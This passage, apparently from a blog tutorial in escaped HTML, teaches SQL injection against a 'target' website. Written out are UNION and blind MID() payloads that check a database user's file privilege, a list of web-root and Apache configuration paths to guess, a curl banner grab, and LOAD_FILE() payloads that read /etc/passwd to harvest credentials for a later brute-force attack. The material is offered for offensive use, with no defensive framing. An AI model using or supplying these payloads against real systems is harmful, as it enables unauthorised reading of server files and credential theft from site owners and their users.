Calibri;"&gt;Check other SQLi tutorials on methods for checking current database()&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;EXAMPLE-PREREQUISITES MET&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img684.imageshack.us/img684/5456/74106261.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="345" src="http://img684.imageshack.us/img684/5456/74106261.png" t$="true" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Once these details are known you can start working through the options to check the file privileges for the current user. There are many methods; here are a few for specifically checking file privileges:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;a href="http://www.site.com/index.php?id=0′"&gt;http://www.Site.com/index.php?id=0′&lt;/a&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;UNION&amp;nbsp;SELECT file_priv FROM mysql.user WHERE user = ‘username’&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;a href="http://www.site.com/index.php?id=1′"&gt;http://www.Site.com/index.php?id=1′&lt;/a&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y’&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;a href="http://www.site.com/index.php?id=0′"&gt;http://www.Site.com/index.php?id=0′&lt;/a&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;a href="http://www.site.com/index.php?id=1′"&gt;http://www.Site.com/index.php?id=1′&lt;/a&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If for some reason you can’t access the mysql users database we can still give things a shot but it will be slightly blind as we will need to assume we have file privileges and simply test things out with a little trial and error methodology. &lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;We also need to determine where we will have read/write access on the server so we need to determine the necessary paths on the target machine. This can be done as covered in previous articles by simple querying for the database() &amp;amp; @@datadir values. &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;NOTE&lt;/b&gt;: If you can’t get these values to return for one reason or another, you can try to trigger error events and skim as much related info as possible from the error messages, as quit often the data directory path and current database are listed in the actual error messages. You may also try to guess the web directory and go at this somewhat blind using the old trial and error method; here are some good places to try:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/var/www/html/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/var/www/web1/html/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/var/www/sitename/htdocs/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/var/www/localhost/htdocs&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/var/www/vhosts/sitename/httpdocs//etc/init.d/apache&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/init.d/apache2&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/httpd/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/apache/apache.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/apache/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/apache2/apache2.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/apache2/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/usr/local/apache2/conf/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/usr/local/apache/conf/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/opt/apache/conf/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/home/apache/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/home/apache/conf/httpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/apache2/sites-available/default&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/etc/apache2/vhosts.d/default_vhost.include&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/templates_compiled/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/templates_c/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/templates/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/temporary/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/images/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/cache/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/temp/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;/files/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you do a banner grab you can usually figure out some basic info regarding the webserver and OS which you can use to combine with Google to find other good places to look or try.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Assuming we have gathered the necessary info up to now we will start to see what we can do…&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="font-family: Calibri;"&gt;SAMPLE BANNER GRAB USING CURL – “curl –I &lt;a href="http://www.target-site.com/"&gt;http://www.target-site.com/&lt;/a&gt;”:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img195.imageshack.us/img195/9889/31451020.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="176" src="http://img195.imageshack.us/img195/9889/31451020.png" t$="true" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;USING LOAD_FILE():&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;We can use LOAD_FILE() to read the contents of any file contained within the webserver. We will typically check for the "/etc/password" file to see if we get lucky and scoop usernames and/or passwords to possible use in bruteforce attack later. It looks like this:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+1,load_file(‘path/to/file’),3,4,5"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+1,load_file(‘path/to/file’),3,4,5&lt;/a&gt;--&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Simply replace ‘path/to/file’ with the path to the file you want to read, like this&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+1,load_file('etc/passwd'),3,4,5"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+1,load_file('etc/passwd'),3,4,5&lt;/a&gt;--&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
